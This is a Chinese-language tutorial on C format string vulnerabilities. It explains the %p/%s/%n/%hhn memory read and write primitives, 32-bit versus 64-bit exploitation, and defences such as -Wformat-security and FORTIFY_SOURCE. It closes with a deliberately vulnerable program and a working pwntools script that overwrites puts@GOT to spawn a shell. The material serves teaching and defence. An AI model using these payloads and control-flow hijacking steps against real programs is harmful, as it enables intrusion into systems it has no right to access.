格式化字符串漏洞(Format String Vulnerability)是一种发生在 C/C++ 等语言中的安全漏洞,当程序将未经校验的用户输入(字符串)直接作为格式化输出函数(如 printf、sprintf)的第一个参数(格式化控制字符串)时,就会触发该漏洞。
攻击者可以通过在输入中构造特殊的格式化占位符(如 %x、%p、%n),实现任意内存读取、内存泄露,甚至修改内存数据以劫持程序控制权。
1. 漏洞成因(原理)
在 C 语言中,格式化函数依赖格式化占位符(如 %d、%s)来解析后续参数。如果程序员省略了格式化控制字符串,将用户输入直接传入函数:
// 存在漏洞的代码
char input[100];
fgets(input, sizeof(input), stdin);
printf(input); // 漏洞点:用户直接控制了格式化参数
当 input 中包含 % 字符时,printf 会误以为后面需要解析参数。由于调用者并未实际传入对应参数,printf 会顺着栈帧向高地址读取或写入数据,从而导致信息泄露、程序崩溃甚至任意代码执行。
2. 关键占位符与利用方式(原语)
攻击者可以通过输入特定的格式化占位符,强迫 CPU 执行原本不被允许的底层内存操作:
- 输入连续的
%x/%p占位符:程序会把栈上的数据当成参数以十六进制/指针格式输出:- 漏洞利用效果:内存泄露(栈读取):泄露函数返回地址、密码、Token、Stack Canary、程序基址,用于绕过 ASLR;
- 利用
%s占位符:将栈上的数据视为一个内存指针,并尝试去读取该指针指向的字符串内容:- 漏洞利用效果:任意地址读取:若在栈上构造特定的目标地址,再配合
%s,可读取任意内存区域中的数据(如 GOT 表、敏感内存数据);
- 漏洞利用效果:任意地址读取:若在栈上构造特定的目标地址,再配合
%n占位符:将当前已输出的字符总数写入目标指针指向的内存,通过控制前面打印的字符数量(例如利用类似%100c打印100个空格),攻击者可以向特定的内存地址写入任意数值:- 漏洞利用效果:任意地址写入:攻击者可以利用
%n改写函数的返回地址或全局偏移表(GOT 表),将其指向恶意代码(如 Shellcode 或system("/bin/sh")),从而直接拿到目标系统的控制权(Get Shell)修改内存数据,从而接管程序执行流;
- 漏洞利用效果:任意地址写入:攻击者可以利用
%hn/%hhn占位符:以 2 字节(word)或 1 字节(byte)的宽度进行写入:- 漏洞利用效果:精准内存覆盖:防止因数值过大导致程序打印太多字符而超时或崩溃;
3. 32位(x86) 与 64位(x64) 的二进制差异
由于底层 CPU 架构的函数调用约定(Calling Convention)不同,该漏洞在不同架构下的利用难度和手法有显著区别:
- 1. 32位架构(栈传参)
- 传参:格式化函数的所有参数(除了第一个控制字符串指针外)全部依序压入栈(Stack)中;
- 利用:由于攻击者输入的格式化字符串本身就在栈上,攻击者可以非常容易地通过
%X$p(第 X 个参数)精准定位并引用自己输入的恶意内存地址,轻松实现任意读写;
- 2. 64位架构(寄存器传参)
- 传参:前 6 个参数优先通过寄存器(
RDI,RSI,RDX,RCX,R8,R9)传递,从第 7 个参数开始才压入栈中; - 利用:攻击者在使用
%X$p时,必须先跳过前 6 个寄存器对应的参数,才能访问到栈上的数据。此外,64位内存地址通常包含\x00(截断符),这要求在构造 payload 时必须将目标地址放置在格式化字符串的末尾,增加了利用难度;
- 传参:前 6 个参数优先通过寄存器(
4. 漏洞示例防御与修复
4.1 漏洞示例(C语言)
存在漏洞的代码:
#include <stdio.h>
void print_user_data(char *user_input) {
// 危险:若 user_input 包含 %x 或 %p,会直接泄漏栈内存
printf(user_input);
}
如果输入 %p %p %p %p,程序将直接打印出当前栈上的前四个字长(Word)的内存数据。
正常的格式化输出如下:
#include <stdio.h>
void print_user_data(char *user_input) {
// 安全:明确指定格式化控制字符串 "%s"
printf("%s", user_input);
}
明确指定 %s 后,任何用户输入(哪怕包含 %x、%n)都会被当作纯文本处理,不会被解析为控制符。
为什么这会造成漏洞?
标准 C 语言中,格式化函数会根据格式化字符串中占位符的数量,去栈(Stack)上或寄存器中寻找对应的参数。如果用户输入的 user_input 包含了占位符(例如 %p%p%p),但程序员实际上并没有传入后续的变量参数,printf 依然会盲目地去栈或寄存器中读取数据。
4.2 常见的受影响函数
所有支持格式化控制的 C/C++ 标准库及系统 API 都可能受影响:
printf/fprintf/dprintf/sprintf/snprintf;vprintf/vfprintf/vsprintf/vsnprintf;syslog(系统日志写入函数,若直接将用户变量作为第二个参数传入也会触发);
4.3 防御与修复方案
如今在现代操作系统和编译器中,单纯的格式化字符串漏洞已经很难直接转化为 RCE(远程代码执行):
- 1. 规范代码写法:绝不将可控变量直接作为格式化控制参数,确保任何用户输入的字符串都作为数据参数传递,而不是作为格式化模板,即必须严格使用
printf("%s", var)形式; - 2. 编译器选项:在 GCC / Clang 中添加编译选项
-Wformat -Wformat-security -Werror=format-security,能在编译期拦截不安全的格式化调用并直接报错; - 3. 静态代码分析:在 CI/CD 流水线中集成 Clang Static Analyzer、Cppcheck 或 Coverity 等工具自动排查;
- 4. 系统级防护:开启 ASLR(地址空间布局随机化)、DEP/NX(堆栈不可执行)和 Stack Canary,增加利用难度;
- 5. FORTIFY_SOURCE 技术:现代 Linux 默认启用该机制。它在运行时会对
printf等函数进行安全包装,检查格式化字符串是否位于只读内存段(ROM/TEXT 段)。如果发现格式化字符串位于可写的栈或堆内存中,且包含了%n,程序会立即拦截并强制崩溃,阻止漏洞利用;
5. 格式化字符串漏洞属于二进制漏洞吗?
是的,格式化字符串漏洞属于二进制漏洞大分类。
虽然它是由于 C/C++ 源码层面的编码不当(如直接使用 printf(input))引起的,但它的成因、表现和利用过程,都深深扎根于二进制安全的底层架构、汇编指令和内存模型中。
在网络安全竞赛(CTF)和实际的安全研究中,它被划分在 Pwn(二进制漏洞挖掘与利用) 分类中。
为什么它属于二进制漏洞?
5.1 深度依赖底层内存布局与调用约定
格式化字符串漏洞之所以能被利用,完全是因为它破坏了 CPU 执行流中的“函数调用约定与栈布局:
- 当触发漏洞时,
printf函数会盲目地根据用户输入的占位符,去寄存器(如 x64 架构下的rdi,rsi,rdx等)或栈内存(x86 架构)中抓取数据; - 这种在寄存器和栈上越界寻找参数的行为,属于标准的二进制层面漏洞,而非高级语言的业务逻辑问题;
5.2 实现二进制级别的内存“任意读写”
二进制漏洞的核心目标通常是获得对内存的控制权。格式化字符串漏洞提供了完美的二进制利用原语:
- 任意地址读(Arbitrary Read):通过
%s结合栈上的恶意指针,可以直接读取进程内存空间中任意位置的数据; - 任意地址写(Arbitrary Write):通过
%n写入特定大小的字节流,可以精准改写二进制程序中的关键数据(如修改 GOT 表、覆盖函数返回地址);
5.3 专门用于绕过二进制安全防御
在现代二进制安全对抗中,格式化字符串漏洞经常被用作绕过系统级防御的“大杀器”:
- 绕过 ASLR(地址随机化):通过
%p泄露栈地址或libc函数地址,从而计算出程序在内存中的真实加载基址; - 绕过 Canary(栈饼干/销子):在不引发程序崩溃的前提下,通过特定的占位符精准读取栈底的 Canary 随机数,为接下来的栈溢出利用铺平道路;
架构差异:32位 与 64位 的二进制区别
由于 32位(x86)和 64位(x64)在二进制层面的传参机制不同,该漏洞的利用方式也有巨大差异:
- 32位(栈传参):格式化函数的参数全部直接压入栈中。攻击者输入的格式化字符串就在栈上,因此极易通过定位自身位置来实现任意读写;
- 64位(寄存器传参):前 6 个参数优先通过寄存器(
RDI,RSI,RDX,RCX,R8,R9)传递,第 7 个参数开始才走栈。这导致利用时必须先“跳过”寄存器对应的参数,充分体现了二进制底层架构对漏洞利用的影响;
6. 漏洞实例与演示
本节详解在 64 位 Linux 环境(x86_64) 下利用格式化字符串漏洞和 %n(或其变体)实现任意地址写入和控制流劫持,相比 32 位环境存在本质上的技术差异与挑战。
6.1 64位环境下的三大核心差异与挑战
6.1.1 调用约定差异(寄存器 vs 栈)
- 32 位:所有函数参数均通过栈传递。
printf的第 1 个格式化参数对应栈顶的下一个位置(ESP+4),可以直接读取栈上的数据; - 64 位(System V AMD64 ABI):前 6 个整数/指针参数通过寄存器传递,第 7 个及以后的参数才保存在栈上:
- 第 1 个格式化参数 (
%1$) ->RSI - 第 2 个格式化参数 (
%2$) ->RDX - 第 3 个格式化参数 (
%3$) ->RCX - 第 4 个格式化参数 (
%4$) ->R8 - 第 5 个格式化参数 (
%5$) ->R9 - 第 6 个格式化参数 (
%6$) -> 栈顶([RSP])(即格式化字符串如果保存在栈上,通常从%6$开始映射)
- 第 1 个格式化参数 (
因此,在64位下,如果格式化字符串保存在栈上,它的第一个8字节单位通常是 printf 的第 6 个参数(%6$)。
6.1.2 内存地址中的截断符(\x00 Null Byte 难题)
- 在 64 位程序中,代码段/数据段(如 PIE/GOT 地址)通常形如
0x0000555555554010,动态链接库/栈地址形如0x00007ffff7a01234; - 高位字节全部包含
0x00(\x00); - 致命问题:如果像 32 位那样把目标地址放在 Payload 的最开头,
printf遇到地址高位的\x00时,会将其误认为是 C 字符串的结束符(\0),导致后面的%n格式化控制字符完全无法解析执行;
6.1.3 指针宽度增加(8 字节写入)
- 64 位指针长度为 8 字节(64 位);
- 地址数值极大(例如
0x7ffff7a01234),如果使用%lln(8 字节写入)或%n(4 字节写入),需要一次性打印上百 TB 的字符,这在现实中是无法实现的; - 解决方案:必须采用
%hhn(单字节写入),将 64 位地址拆分为 8 个独立的单字节,分 8 次逐字节覆盖写入;或采用%hn(双字节写入) 分 4 次写入;
6.2 64 位任意地址写入方案(Payload 布局)
为了解决截断符 \x00 的问题,64 位 Payload 的结构必须反过来设计:将格式化控制字符放在前面,将包含 \x00 的目标内存地址放在末尾。
标准 Payload 结构示意图:
低地址 ─────────────────────────────────────────────────────────────────────────> 高地址
[ %<num>c%<idx>$hhn ... 格式串 ] [ 8字节对齐 padding ] [ 地址1 ] [ 地址2 ] ... [ 地址n ]
└───────────────┬─────────────┘ └───────┬─────────┘ └─────────────────┬──────────────┘
1. 纯 ASCII 控制字符 2. 对齐栈空间 3. 包含 \x00 的目标地址
(不会触发 \0 截断) (由前面的 %<idx>$ 引用)
- 头部:控制打印字符数量的格式字符串(如
%100c%12$hhn)。因为全是可打印字符,printf可以完整解析; - 中部:填充字符,保证接下来的目标地址能在 8 字节边界上完美对齐;
- 尾部:8 字节的目标内存地址列表。即便它们包含
\x00,此时printf已经解析完了前面的格式字符串,不会影响逻辑;
6.3 64 位 %hhn 逐字节写入流程
假设我们希望将 GOT 表项 0x555555558018 中的内容,修改为 system 函数的地址 0x7ffff7e12345:
6.3.1 确定参数偏移量(Offset)
假定我们的输入缓冲区保存在栈上,通过测试(输入 AAAAAAA%6$p%7$p...)得知,格式化字符串的开头刚好是 printf 的第 6 个参数(%6$)。
6.3.2 规划写入数据与地址映射
我们将目标地址 0x7ffff7e12345(6 字节有效地址)拆分为 6 个单字节:
偏移 目标内存地址 欲写入字节 (16进制) 欲写入数值 (10进制)
+0 0x555555558018 0x45 69
+1 0x555555558019 0x23 35
+2 0x55555555801a 0xe1 225
+3 0x55555555801b 0xf7 247
+4 0x55555555801c 0xff 255
+5 0x55555555801d 0x7f 127
6.3.3 按写入数值从小到大排序
由于 %n 累加已输出的字符数(字符数只能增加,不能减少),我们必须按写入的目标数值从小到大对写入操作进行排序,以计算增量字符数:
排序后写入顺序:
0x23(35) -> 写入地址0x5555555580190x45(69) -> 写入地址0x5555555580180x7f(127) -> 写入地址0x55555555801d0xe1(225) -> 写入地址0x55555555801a0xf7(247) -> 写入地址0x55555555801b0xff(255) -> 写入地址0x55555555801c
6.3.4 计算栈偏移与地址摆放位置
假设前面的格式控制串总共占用了 112 字节(需为 8 的倍数,即 14 个 8 字节块):
- 前面占用了 14 个 8 字节块,因此第一个目标地址位于栈的第
6 + 14 = 20个参数位置(%20$);
栈结构与参数索引映射:
%20$->0x555555558019(对应写入0x23);%21$->0x555555558018(对应写入0x45);%22$->0x55555555801d(对应写入0x7f);- 以此类推…
6.3.5 构造打印输出(字符增量计算)
- 初始已打印字符数:
0; - 第 1 次写入 (
0x23= 35): 打印 35 个字符,执行%20$hhn; - 第 2 次写入 (
0x45= 69): 还需要打印69 - 35 = 34个字符,执行%21$hhn; - 第 3 次写入 (
0x7f= 127): 还需要打印127 - 69 = 58个字符,执行%22$hhn; - 以此类推…;
至此,通过这种严格算计的增量打印,printf 就会顺次将正确的字节写入对应的 6 个内存地址中,完成对目标 64 位指针的完全覆盖。
6.4 控制流劫持目标选择(64 位场景)
在成功实现 64 位任意地址写入后,攻击者需要选择合适的内存目标以接管控制流(RIP):
┌──────────────────────────────────────────┐
│ 格式化字符串任意地址写入 │
└────────────────────┬─────────────────────┘
│
┌─────────────────────────────┼─────────────────────────────┐
▼ ▼ ▼
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ Partial RELRO │ │ Full RELRO │ │ 栈返回地址 │
│ 覆写 GOT 表 │ │ 覆写栈/Hook/结构体 │ │ Saved RIP │
└────────┬────────┘ └────────┬────────┘ └────────┬────────┘
│ │ │
▼ ▼ ▼
将 puts@GOT 替换为 1. 泄漏栈地址并定位 1. 泄漏栈地址计算
system / one_gadget Saved RIP 地址 Saved RIP 位置
2. 覆盖为 ROP 链 / 2. 覆盖为 ROP 链
one_gadget 3. 函数 ret 时触发
6.4.1 覆写 GOT 表(Partial RELRO 开启时)
- 前提:程序编译时未开启
Full RELRO(即 Partial RELRO 或 No RELRO)。 - 做法:覆写后续会调用的 C 库函数 GOT 表项(如
puts@GOT、printf@GOT、strlen@GOT); - 效果:将
puts@GOT改写为system函数地址。下一次程序执行puts("/bin/sh")时,相当于执行system("/bin/sh");
6.4.2 覆写栈上的保存返回地址 Saved RIP(Full RELRO 开启时)
- 利用前提:开启了
Full RELRO,GOT 表只读,无法修改; - 核心操作:
- 先用格式化字符串泄漏栈地址(如通过
%p读取RBP的值),计算出当前函数或上级函数的Saved RIP在栈上的绝对地址; - 使用
%hhn将该Saved RIP地址的内容修改为one_gadget地址或 ROP 链地址;
- 先用格式化字符串泄漏栈地址(如通过
- 结果:当当前函数执行
ret指令时,从栈上弹出的目标地址变成了攻击者指定的代码地址,控制流被劫持;
6.4.3 覆写 IO_FILE 结构体或虚表 / exit 句柄(高版本 GLIBC)
- 背景:在 GLIBC 2.34 及更高版本中,传统的
__free_hook和__malloc_hook已被彻底移除; - 核心操作:利用任意写覆盖
_IO_2_1_stdout_结构体中的虚表指针(VTABLE),或修改exit函数调用的回调函数链表(initial结构体); - 结果:在程序正常退出或调用
printf/puts刷新缓冲区时触发控制流转移;
6.5 Python 脚本示例
pwntools 中,fmtstr_payload 函数封装了复杂的格式化字符串 Payload 构造逻辑。在 64 位(amd64) 环境下,只需要显式设置 context.arch = 'amd64',fmtstr_payload 就会自动处理 \x00 截断符后置、8 字节栈对齐以及%hhn 增量字符计算。
假设编译环境为 64 位 Linux,存在以下漏洞程序(编译命令:gcc -no-pie -z lazy -o vuln vuln.c):
// vuln.c
#include <stdio.h>
#include <stdlib.h>
void backdoor() {
system("/bin/sh");
}
int main() {
setbuf(stdout, NULL);
char buf[0x100];
printf("Welcome! Here is backdoor at %p\n", backdoor);
while(1) {
fgets(buf, sizeof(buf), stdin);
printf(buf); // 格式化字符串漏洞
}
return 0;
}
利用 fmtstr_payload 覆写 puts@GOT 表项指向 backdoor 函数的完整 Python 脚本:
#!/usr/bin/env python3
from pwn import *
# 1. 核心关键:必须显式设置架构为 amd64
# pwntools 会根据此设置自动切换为 64 位 Payload 生成逻辑(地址后置 + 8字节对齐 + p64打包)
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
# 2. 加载目标 ELF 和启动进程
elf = ELF('./vuln')
p = process('./vuln')
# 3. 确定偏移量 (Offset)
# 假设通过手动测试输入 "AAAAAAA%6$p" 发现格式串从第 6 个参数开始
OFFSET = 6
# 4. 构造目标写入字典 { 欲修改的内存地址 : 欲写入的目标值 }
# 目标:将 puts 的 GOT 表地址的内容,修改为 backdoor 函数的入口地址
target_got = elf.got['puts']
target_val = elf.symbols['backdoor']
writes = {
target_got: target_val
}
# 5. 使用 fmtstr_payload 自动生成 64 位利用 Payload
# - offset: 格式化字符串在栈上的参数起始偏移量
# - writes: 写入字典
# - write_size: 写入粒度,推荐 'byte' (%hhn) 或 'short' (%hn),64位下默认 'byte'
payload = fmtstr_payload(OFFSET, writes, write_size='byte')
log.info(f"Target GOT : {hex(target_got)}")
log.info(f"Target Value : {hex(target_val)}")
log.info(f"Payload Size : {len(payload)} bytes")
log.info(f"Payload Raw : {payload}")
# 6. 发送 Payload 触发写入
p.sendline(payload)
# 7. 再次触发 puts 调用,此时puts已变成backdoor,直接拿到Shell
p.interactive()
1. 一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。